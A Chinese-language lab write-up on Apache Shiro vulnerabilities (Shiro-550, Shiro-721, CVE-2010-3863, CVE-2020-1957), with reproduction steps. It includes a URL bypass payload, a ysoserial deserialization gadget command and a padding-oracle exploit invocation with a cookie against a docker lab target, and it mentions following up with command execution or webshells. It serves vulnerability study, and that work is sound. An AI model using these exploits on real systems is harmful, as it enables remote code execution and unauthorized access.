目录
shiro简介
shiro漏洞成因
shiro550
shiro721
利用过程
CVE-2010-3863(未授权访问)
简介
CVE-2016-4437(shiro550)
简介
CVE-2020-1957(未授权访问)
漏洞影响
简介
url处理过程
shiro721
影响版本
简介
利用
环境搭建
复现
shiro简介
是一个强大的并且简单使用的java权限框架.主要应用认证(Authentication),授权(Authorization),cryptography(加密),和Session Manager.Shiro具有简单易懂的API,使用Shiro可以快速并且简单的应用到任何应用中,无论是从最小的移动app到最大的企业级web应用都可以使用。
shiro漏洞成因
shiro最突出的两个漏洞就是550和721了,都是因为密匙的原因造成得漏洞,因为使用的是对称加密,所以只要知道了密匙(密匙字典或者默认密匙)就能利用反序列化的漏洞造成危害,这个漏洞一直都很好用,特别是一些红蓝对抗HW的下边界突破很好用
shiro550
- shiro550一般只需要使用已知密匙去做碰撞,只需要密匙库够丰富(利用条件低)
- shiro550在登陆时默认是先验证"rememberMe" Cookie的值,而不是先进行身份验证,攻击者可以利用这个认证机制来实现未授权访问
部分高于1.2.4版本的Shiro也会受到影响
shiro721
- shiro721就不能像550一样利用已知密匙去做碰撞,它使用的aes加密的key是系统随机生成的基本猜不到,一般是利用Padding Oracle Attack攻击去做类似于爆破一样的工作
- shiro721在登录时和550不同,他会先做身份验证,再去验证"rememberMe" Cookie的值,所以攻击者需要已通过身份验证,并且shiro框架为攻击者创建了一个有效会话
想要详细了解padding oracle attack攻击可以去看这篇博文,写的非常详细。
一文搞明白 Padding Oracle Attack-CSDN博客
Padding Oracle Attack攻击条件:
- 攻击者能获取到密文,以及IV向量(IV向量:密文的前八个字节,IV向量是用来加强密文的随机性)
- 攻击者能修改密文并触发解密过程,解密成功与失败存在差异(就是返回包里如果错误大多数的网站会返回rememberme=deleteMe)
Padding Oracle Attack
- 如果data值没有被篡改,则解密成功,并且业务校验成功,响应200
- 如果data值被篡改,服务端无法完成解密,解密校验失败,则响应500
- 如果data值被篡改,但是服务端解密成功,但业务逻辑校验失败,则可能返回200或302等响应码,而不是响应500
利用过程
检索RememberMe Cookie的值 ——》base64解密——》AES解密——》反序列化(没做任何过滤)
CVE-2010-3863(未授权访问)
简介
在Apache Shiro 1.1.0以前的版本中,shiro没有对url做防护,导致可以通过'../' './' '/'这些来达到未授权访问来绕过权限验证
这里使用的时docker搭建的环境
是一个很标准的未授权访问
CVE-2016-4437(shiro550)
简介
在 1.2.5 之前的 Apache Shiro 中,当未为“记住我”功能配置密码密钥时,远程攻击者可以通过未指定的请求参数执行任意代码或绕过预期的访问限制。
####部分高于1.2.4版本也会受影响
还是利用docker搭建1.2.4版本shiro
shiro框架的特点就是这个remember me
如果发包的时候没有就看返回包有没有set remember me这些东西
直接利用shiro攻击工具爆破密匙,直接利用
后续就可以直接开始命令执行或者传马子
CVE-2020-1957(未授权访问)
漏洞影响
<1.5.1
简介
Spring Boot中使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL,利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,实现未授权访问
简单来说就是apache shiro框架和spring boot的对url的处理不同从而造成的越权
url处理过程
- 攻击者恶意传入/123/..;/admin/
- shiro处理后看到的是/123/..
- spring boot处理后则是/admin/
shiro721
影响版本
1.2.5 1.2.6 1.3.0 1.3.1 1.3.2 1.4.0-RC2 1.4.0 1.4.1
简介
和550的区别就是使用了aes-cbc加密,使用了IV向量来加强密文的随机性,保证相同明文经过相同密匙加密的结果不同。
利用
这种只能用padding Oracle attack攻击
详细了解可以去看
一文搞明白 Padding Oracle Attack_padding oracle attacks cbc mode encryption – weak -CSDN博客
环境搭建
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
######这里的点不是打错了,是需要加进去的,'.'表示 Docker 将会在当前目录下查找 Dockerfile 文件并以此为基础进行构建
docker run -p 8080:8080 -d shiro-721
复现
这里的shiro721因为和550的验证过程不同所以需要先登录再去利用remember me
550:先解析remember me再去验证身份
721:先去验证身份再去验证remember me
shiro最大的特征就是基于返回包看是否有rememberMe=DeleteMe。
首先正常登录先拿到cookie里的加密信息
然后使用ysoserial构造一个攻击
这里只是执行一个创建文件夹的命令
java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections1 'mkdir /123' > 1.class
在使用padding oracle attack脚本进行攻击构造一个正常的Evil Rememberme cookie
下载靶场以后自带的有poc
python + shiro_exp.py + web路径 + remember me cookie值 + 攻击payload
python /home/kali/vulhub-master/shiro/Shiro-721/shiro_exp.py http://172.28.10.221:8080/account/ HZ717RwZHZHuR/x9yMmjJUUGWXLAOiZx01rXghAir47/Xbu++kfYFiJA7gQcSn6oaBqcRXfkihooScqykI8FEWlqmN6agAJr3bh5QH+WshypvevVnsEvUDDaSTCEX8tr3seRX8TAJfuNyvK/DD1HHYdgEKZZ9XbbimYH8S7+Xsv0uzx8PH0OuIiFX3HAofmx5y4cvRpYove0NU+/QaRwZV2LoWtAi0adC/vCHb1H2ochg5LBel6jEQakIP3AmYkEOqfRTRl/sm1olkPM+sFk6+lGw9UtDvWqCCqK5fopXV+0n4qCJlyoNyWdVEmm+mZbxekimV3QDdlC75kuyv9Utw9VtOGMdeyBttl8YrXJCJEFEdIN22LxA//iqnyGjltUEljFrZhTXXhml/V8oPVnXFOAmygIaFD6uv9rWnTtPBlLOblusyElga20ngvoMOVKTu3uYHV0Hmiw/gcnT1yT0ZosI2/fe+dzmbVNyGrwKktYjEobCZIIz/U4intWvQ77 1.class
这里会跑很长一段时间(1小时左右)
最后将伪造好的cookie替换掉原来的cookie进行利用
最后去docker容器里查看执行成功